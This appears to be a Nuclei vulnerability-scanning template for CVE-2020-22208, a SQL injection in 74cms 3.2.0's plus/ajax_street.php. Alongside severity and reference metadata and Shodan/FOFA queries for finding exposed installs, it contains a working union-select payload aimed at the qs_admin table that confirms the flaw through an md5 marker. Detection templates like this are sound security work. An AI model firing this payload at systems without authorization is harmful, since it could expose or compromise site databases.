id: CVE-2020-22208

info:
  name: 74cms - ajax_street.php 'x' SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    SQL Injection in 74cms 3.2.0 via the x parameter to plus/ajax_street.php.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the underlying database.
  remediation: |
    Apply the vendor-provided patch or update to the latest version of 74cms to mitigate the SQL Injection vulnerability.
  reference:
    - https://github.com/blindkey/cve_like/issues/10
    - https://nvd.nist.gov/vuln/detail/CVE-2020-22208
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-22208
    cwe-id: CWE-89
    epss-score: 0.10017
    epss-percentile: 0.95135
    cpe: cpe:2.3:a:74cms:74cms:3.2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: 74cms
    product: 74cms
    shodan-query: http.html:"74cms"
    fofa-query:
      - app="74cms"
      - body="74cms"
  tags: cve2020,cve,74cms,sqli,vkev,vuln
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - '{{BaseURL}}/plus/ajax_street.php?act=alphabet&x=11�%27%20union%20select%201,2,3,concat(0x3C2F613E20),5,6,7,md5({{num}}),9%20from%20qs_admin#'

    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'
# digest: 4a0a00473045022011a2b1fbdd40f4ba6e48c67c52de037608e53b5425d7c5279a6518957d9ca723022100a5bbbcda5392d26084f1e14ceddb3a67c90c2981e19dd76c7701da85cbdee258:922c64590222798bb761d5b6d8e72950